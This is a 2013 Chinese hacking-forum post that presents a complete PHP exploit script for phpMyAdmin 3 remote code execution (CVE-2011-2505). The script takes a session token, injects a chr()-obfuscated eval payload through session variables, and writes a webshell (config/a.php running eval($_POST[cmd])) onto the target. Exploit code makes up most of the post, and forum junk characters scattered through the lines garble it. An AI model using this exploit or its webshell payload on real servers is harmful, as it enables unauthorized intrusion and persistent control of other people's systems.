找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2380|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
" C+ _  y. x' q  F+ o. d. J: O+ h8 z
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
& N+ i( y4 Q) N4 h9 V7 f) L; K
+ |3 r' M* v' n1 n% _4 y. h首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
% v0 X4 S, H4 [+ ?5 t一是session.auto_start = 1;/ U/ D# [) i& _
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。& v( v# K$ p" M& q: O2 |
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
& \2 `# n. ?" V3 u9 e7 T* b/ R
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
1 W5 r, h3 {* `  Z
2 q! d3 v3 w; V8 T+ y于是写了这个php版本的exp,代码如下:) |% M* Q6 l5 Z, v$ \7 w3 t5 d

/ g' [; x; |9 O: T6 u#!/usr/bin/php
! I4 c6 h9 T  G; Q* B$ j) [* Y<?php) F) i( Z# b. q4 L6 C
print_r('3 ~5 Z. w( u/ T8 X
+---------------------------------------------------------------------------+
' A5 _5 b& b8 kpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
* `% c" e* d  M7 x# P( a+ ]by oldjun(www.oldjun.com)9 ?" T) M! @; F9 W# U
welcome to www.t00ls.net
( c2 {# W! W4 D$ v( F  Nmail: oldjun@gmail.com
# Y3 s; i& c% K/ L) WAssigned CVE id: CVE-2011-2505
4 {% l/ T3 }. t0 R  Q7 p. a) z+---------------------------------------------------------------------------+* z8 G. r3 _! S
');
$ g2 c5 D3 Z& p6 P8 g
" ~# B. J7 M% V) x1 I$ S! W3 P/**
4 M$ W' `( A' t  k3 p* R1 S$ d% R$ n * working when the directory:"config" exists and is writeable.
/ i3 g, i% R$ _9 N**/& ]+ T! H1 B# C
# S' Z: H9 a+ k- {( G: z
if ($argc < 3) {
; N( ?: k( R1 O- G) h+ Z4 k8 r    print_r('
& E  Y  e3 ^3 P# F4 ]" H- d+---------------------------------------------------------------------------+
3 |8 H8 M( H) c. u; `Usage: php '.$argv[0].' host path
6 t( @, W* i/ v; u0 U# }host:      target server (ip/hostname)
9 k# C& J) P8 e: \. M  @1 F7 @$ F3 b4 epath:      path to pma3
: s$ D4 o' J  e, F7 [1 w  d- [Example:
, a2 B( m8 Y% G: Cphp '.$argv[0].' localhost /pma/9 Y2 [& t6 a! e4 a0 m
+---------------------------------------------------------------------------+
+ p2 p2 q& p* ?8 ^');/ `/ i2 O2 Y9 A1 A" U8 J
    exit;9 }5 ~+ Y: F' {$ F; k6 n& |7 [4 t. `
}$ w& f8 n/ ?& b3 ^
: Z4 e8 {! g5 _- n0 x& _9 w. y5 b
$host = $argv[1];5 u, O! y* c; y5 @& O
$path = $argv[2];" I6 h7 T8 S3 o  S! T0 t
8 v2 D5 _& {/ q& u& c4 u: M4 q
/**+ o: F6 P8 @/ y: y8 ~! H
* Try to determine if the directory:"config" exists
7 \5 k0 @9 |  ^* p**/
  B9 g0 A- W* ^4 c7 G  oecho "[+] Try to determine if the directory:config exists....\n";; W4 _9 }" \! C- ~! M; f
$returnstr=php_request('config/');
$ G: r. z, k, N- G/ ?6 ~if(strpos($returnstr,'404')){3 t- z* `, ?& |( H4 W
    exit("[-] Exploit Failed! The directory:config do not exists!\n");3 |" |% x8 D) L# e* j
}
7 Y- ~' {; H& O% A, l* z0 q  L* S
, f3 p9 i' x( F/**
6 q4 h. B' y, Z" J2 T) b6 k * Try to get token and sessionid9 b- z( Y" q: n. W) Q% f
**/
& T  j) |; F3 e  {echo "[+] Try to get token and sessionid....\n";- ^, J) B) r7 J/ w# @$ ^: w
$result=php_request('index.php');; s3 T1 y8 M* ^5 [. x' h3 ]% {4 `
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
5 c+ }7 E. N1 ^) w$token=$resp[3];" ]3 m1 Z2 y6 Q+ T
$sessionid=$resp[1];9 R/ Q) Y) U0 F4 C! n( d
if($token && $sessionid){
2 G9 G, U* O3 ~1 n    echo "[+] tokentoken\n";* U  h% y' N! @) i, M% S
    echo "[+] Session IDsessionid\n";# [( U$ M7 |: l3 \$ R* c$ e1 M
}else{
% j6 M1 D+ j9 Z! k. ^& S4 y    exit("[-] Can't get token and Session ID,Exploit Failed!\n");4 ^% x, @. _- ?8 G  _  k
}
1 i% O8 m2 F4 r' P) I$ C- d4 h+ D- R7 l' S" r9 d1 M6 T  ]9 _# r
/**
& s7 f& P$ J) F* t * Try to insert shell into session' a, x2 Q7 I' y8 w6 ^$ U
**/
5 ?  W) T+ S' g7 d# |. u2 Secho "[+] Try to insert shell into session....\n";
# O  Q' h2 d: r5 C3 A1 g: Fphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
* m5 g, o5 `, c
8 L8 c. I- @/ L' P; U6 e/**
& W; s6 J1 ?- |" W. Z * Try to create webshell- v! w' F! e" G
**/
. t# O# k8 S9 U% p$ i: jecho "[+] Try to create webshell....\n";7 v0 x$ t: P+ A6 v5 x" c, f' j
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
2 w- ?( B. c4 `/**  D% m1 i7 U7 g& }1 O
* Try to check if the webshell was created successfully
! c# W+ N, l5 F. l0 A( Y. t2 K**/
, ^" B9 W+ x4 }" Kecho "[+] Try to check if the webshell was created successfully....\n";
" Q3 U: r8 D7 ]2 Q. x$content=php_request('config/config.inc.php');
; g  _1 G9 l& p* c/ {& Jif(strpos($content,'t00ls')){
5 ~& q' {* _' r9 R; B# ^    echo "[+] Congratulations! Expoilt successfully....\n";
/ Q7 ]* X  |% X$ s7 G( N    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";& @( \0 l7 Y4 I7 k6 u9 U5 D7 h9 d' X
}else{9 W8 s- f0 @# p& y) A
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");+ M4 r' W) D) M7 S( _3 a. n" Y% W
}
$ t" f# c7 f/ p0 z5 h
% y1 L& Q& y1 c% m0 S. w6 Z* |function php_request($url,$data='',$cookie=''){3 Q* C* ~! t) w2 M9 p5 ?+ d
    global  $host, $path;
. ^7 `! a: h7 C( p! j* @1 \2 M   
7 |/ s* J$ ~6 z: _' T' p, `    $method=$data?'POST':'GET';! y. k3 d5 M+ v9 ]
   
0 b' T7 u$ V1 _    $packet = $method." ".$path.$url." HTTP/1.1\r\n";! e! {. {- _" p( W+ j/ p6 K. N
    $packet .= "Accept: */*\r\n";
" ]0 y& m6 R; L. h! y    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";3 G6 k& Z$ z2 @$ c1 @
    $packet .= "Host: $host\r\n";! q6 h6 Y& g- V, \
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";' E% X" }7 Z0 b0 ^3 a' ?; X/ Q5 G
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";4 S6 o7 B6 M* n) a& y6 O
    $packet .= $cookie?"Cookie: $cookie\r\n":"";9 W* L* }2 A7 }) u) ?
    $packet .= "Connection: Close\r\n\r\n";9 o  U. d3 M  N
    $packet .= $data?$data:"";
: V" G' g. }' L2 e1 D8 F  ]0 ]3 D* _2 H: w6 _
    $fp = fsockopen(gethostbyname($host), 80);
  C" B8 n& v& B    if (!$fp) {8 D* m: E; T1 N& q6 t: l
    echo 'No response from '.$host; die;7 w! y1 ?  B0 x1 h3 H0 V( w
    }- C) |) O3 Q0 y) t
    fputs($fp, $packet);4 N' N% Z2 ~. Y1 W. u
: V! p9 ~+ A+ M; i
    $resp = '';
+ G" f$ B/ g; Y7 s. Q8 p2 I6 v# Z( u* D3 ^- l+ [5 Z  C+ t3 U/ p" t
    while ($fp && !feof($fp))
. y# W3 J. ^0 _# M        $resp .= fread($fp, 1024);0 k/ I- ]( p1 Q1 p  I8 K
1 V, T( i5 }$ h5 v- y# [: B1 e
    return $resp;# U0 g0 j* H2 M
}
2 ~+ w# W9 u' r    ! R& _; f+ T9 C8 i  k$ T
?> / f8 L. q! L& y4 t2 `! R
.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表